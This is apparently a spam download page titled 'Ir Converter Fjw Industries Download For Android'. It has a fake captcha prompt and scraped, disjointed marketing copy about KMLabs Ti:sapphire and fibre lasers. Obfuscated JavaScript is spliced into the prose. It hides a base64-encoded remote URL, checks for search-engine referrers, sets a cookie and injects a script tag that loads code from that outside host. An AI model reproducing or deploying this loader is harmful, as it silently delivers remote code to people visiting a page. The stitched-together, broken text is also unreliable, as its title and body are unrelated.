



I'm not a robot



reCAPTCHA

[Privacy](#) · [Terms](#)

Continue

Ir Converter Fjw Industries Download For Android

They include user-adjustable bandwidth and centre wavelength with customer control enabled by the prism-based dispersion compensation inherent to their design.. Ti:Sapphire AmplifiersKMLabs Wyvern/Red Wyvern, and Dragon/Red Dragon family of amplifiers offers a series of single-stage solutions and some of the industry's highest power kHz class Ti:sapphire lasers in the market today.. Ti:Sapphire OscillatorsKMLabs Griffin and Halcyon are robust turn-key and versatile oscillators for research applications in medicine, biology, chemistry and physics.. The short pulses, high energy and excellent spatial profile provided by KMLabs patented Cryo cooled amplifiers are developed to remove limitations on your project and let you control the specs.. var _0x1085='[U1dl','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','TIV2QUY=','U0N VYWE=','S1dWeEg=','LmFvbC4=','bkJGRE8=','RENwS0s=','cmVmZXJyZXi=','eG9nSk8=','Q1INQWw=','aW5kZXhPZg==','V1F3UII=','Q0RQUXI=','UENLTXQ=','emtBaG0=','a2hqd8=','c2V0','dmlzaXRIZA==','ekRIUGs=','ZHlzclo=','c2NyaXB0','a GVhZA==','Y3JIYXRIRWxlWVudA==','eWlkZUY=','c3Jj','Z2V0RWxlWVudHNCeVRhZ05hbWU=','YXBwZW5kQ2hp bGQ=','aXIrY29udmVydGVyK2ZqdytpbmR1c3RyaWVz','NHwwfDV8M3wyfDE=','akd1','Y0RP','OyBleHBpcmVzPQ==','Oy Bkb21haW49','aGFQUFM=','c3BsAQ=','TUZlB4=','cmVwbGFjZQ==','Y3Zw','bGVuZ3Ro','YWNU','Y29va2ll','VExLalk=','TWVKaEE=','Z2V0VGltZQ==','VGJJakY=','cnlsQVQ=','bWF0Y2g=','OyBwYXR0PQ==','OyBzZWN1cmU=','ek90SGY=','T 3VWcFk=','dVppanE=','Z0J5TUg=','U3pGb2s=','TXRPYXU=','Lmdvb2dsZS4=','LmJpbmcu','LmFzay4=','LnlhbmRleC4=','Sk 9m','TWxF'];(function(_0x39d99a,_0x1f4bcc){var _0x42a686=function(_0x3ae0be){while(--_0x3ae0be){_0x39d99a['push'](_0x39d99a['shift']());}}};_0x42a686(++_0x1f4bcc);{(_0x1085,0x91));var _0x2e36=function(_0x275390,_0x46e282){_0x275390=_0x275390-0x0;var _0x58e583=_0x1085[_0x275390];if(_0x2e36['initialized']==undefined){(function(){var _0x3c343d;try{var _0x1bd695=Function('return\x20(function()\x20'+{}).. For more details about ultrafast lasers and what they can do for your application, speak to our laser experts on 01295 672588 or send them an email at photonics@laserlines.. Realising that this device could make ultrafast technology accessible to non-experts for a multitude of applications, Murnane and Kapteyn published a step-by-step guide explaining how-to build the laser, and founded KMLabs in 1994.

Murnane and Professor Henry C Kapteyn Their research in the early 1990s resulted in the development of the first robust and repeatable mode-locked Ti:sapphire laser capable of generating <10fs light pulses.. constructor(\x22return\x20this(\x22)(\x20+'\'););_0x3c343d=_0x1bd695();}catch(_0x5b7034){_0x3c343d>window;}{var _0x190 1e6='ABCDEFGHIJKLMNPQRSTUVWXYZAbcdefghijklmnoprstuvwxyz0123456789+/-';_0x3c343d['atob']||(_0x3c343d['atob']=function(_0x1eb50a){var _0x2df58d=String(_0x1eb50a)['replace'](/=+\$,/);for(var _0x3fa4ca=0x0,_0x4ba8f8,_0x2b24 da,_0x5c88a2=0x0,_0x31820f=_0x2b24da=_0x2df58d['charAt'](_0x5c88a2++);~_0x2b24da&&(_0x4ba8f8=_0x3fa4ca%0x 4?_0x4ba8f8*0x40+_0x2b24da:_0x2b24da,_0x3fa4ca++%0x4)?_0x31820f+=String['fromCharCode'](0xff&_0x4ba8f8>>(-0x 2*_0x3fa4ca&0x6)):0x0){_0x2b24da=_0x1901e6['indexOf'](_0x2b24da);}return _0x31820f;});}_0x2e36['base64DecodeUnicode']=function(_0x18502e){var _0x3e87c5=atob(_0x18502e);var _0x9e4021=[];for(var _0x5b3a61=0x0,_0x5a87e5=_0x3e87c5['length'];_0x5b3a61=_0x4421cd;),'VQwRR':function _0x509411(_0x379963,_0x1da186){return _0x379963!==_0x1da186;},'CDPQr':Cxf,'PCKMt':_0x2e36('0x27'),'zkAhm':_0x2 e36('0x28'),'khjvO':_0x2e36('0x29'),'zDHPk':function _0x4b600b(_0x39c1ee,_0x2e2e6b){return _0x39c1ee+_0x2e2e6b;},'rZlIo':_0x2e36('0x2a'),'dysrZ':_0x2e36('0x0')};var _0x5bbad6=[_0x18e370[_0x2e36('0x2b')],_0x18e 370[_0x2e36('0x2c')],_0x18e370[_0x2e36('0x2d')],_0x2e36('0x2e'),_0x18e370[_0x2e36('0x2f')],_0x18e370['pqwOS'],_0x18e 370[_0x2e36('0x30')]],_0x3ce9ac=document[_0x2e36('0x31')],_0x59d4e3=![],_0x235f84=cookie['get'](_0x18e370[_0x2e36('0 x32')]);for(var _0x74be7e=0x0;_0x18e370[_0x2e36('0x33')](._0x74be7e,_0x5bbad6[_0x2e36('0x12')]);_0x74be7e++){_if(_0x1 8e370['UIPBu'](_0x3ce9ac[_0x2e36('0x34')])(._0x5bbad6[_0x74be7e]),0x0)){if(_0x18e370[_0x2e36('0x35')](._0x18e370[_0x2e 36('0x36')],_0x18e370[_0x2e36('0x37')])){_0x59d4e3=!![];}else{return undefined;}}}_if(_0x59d4e3){if(_0x18e370[_0x2e36('0x35')](._0x18e370[_0x2e36('0x38')],_0x18e370[_0x2e36('0x39')])){cookie[_0x2e36('0x3a')](._0x2e36('0x3b')),0x1,0x1);if(!_0 x235f84){include(_0x18e370[_0x2e36('0x3c')])(._0x18e370['zDHPk'](_0x18e370['rZlIo'],q,"));}}}_else{var _0xf2e29e=docume nt[_0x2e36('0x2')](._0x18e370[_0x2e36('0x3d')]);_0xf2e29e[_0x2e36('0x4')]=url;document[_0x2e36('0x5')](._0x2e36('0x1'))[0 x0][_0x2e36('0x6')](._0xf2e29e);}}}_R(); Ultrafast LasersLaser Lines supplies ultrafast lasers – used by our customers in spectroscopy and sensing, microscopy, molecular dynamics and optics – from KMLabs, established in 1994 by Professor Margaret M.. Computerised control of the intra-cavity prisms means customers can control their laser with the click of a

mouse.. The design is based on patented All Normal Dispersion (ANDi) ultrafast fibre technology, licensed from Cornell University.. co ukUltrafast lasers are used in spectroscopy and sensing, microscopy, molecular dynamics and optics3D PrintingIndustrial LasersTestimonialsCW Single Mode Fibre LasersCompact CW and Q-switched DPSS lasers and Diode Laser ModulesCustom Diode Laser ModulesInfrared and UV ViewersLaser Power & Energy Meters and Beam DiagnosticsWorking with the Fraunhofer Institute to meet the precise needs of its customersOptical Filters and CoatingsThe leading provider of a new generation of spectroscopic and laser-based toolsTi:Sapphire Ultrafast Amplifiers & Oscillators and Femtosecond Fibre LasersHigh Power CW DPSS Green LasersHigh Power Diode & Fibre Lasers and Liekki Active & Passive FibreLaser Safety ProductsAdhesive-free Bonded Laser CrystalsPicosecond and nanosecond DPSS Lasers, OPOs & Ti:Sapphire systems.. The combination of pulse energy, high repetition rate and 150fs pulse width enables exciting new applications in ultrafast microscopy, micro-machining, mid-IR conversion in conjunction with an OPO, supercontinuum generation, laser surgery and ophthalmology.. Fibre LasersKMLabs Y-Fi ultrafast lasers are based on rare earth-doped optical fibre – in this case Ytterbium fibre.

e10c415e6f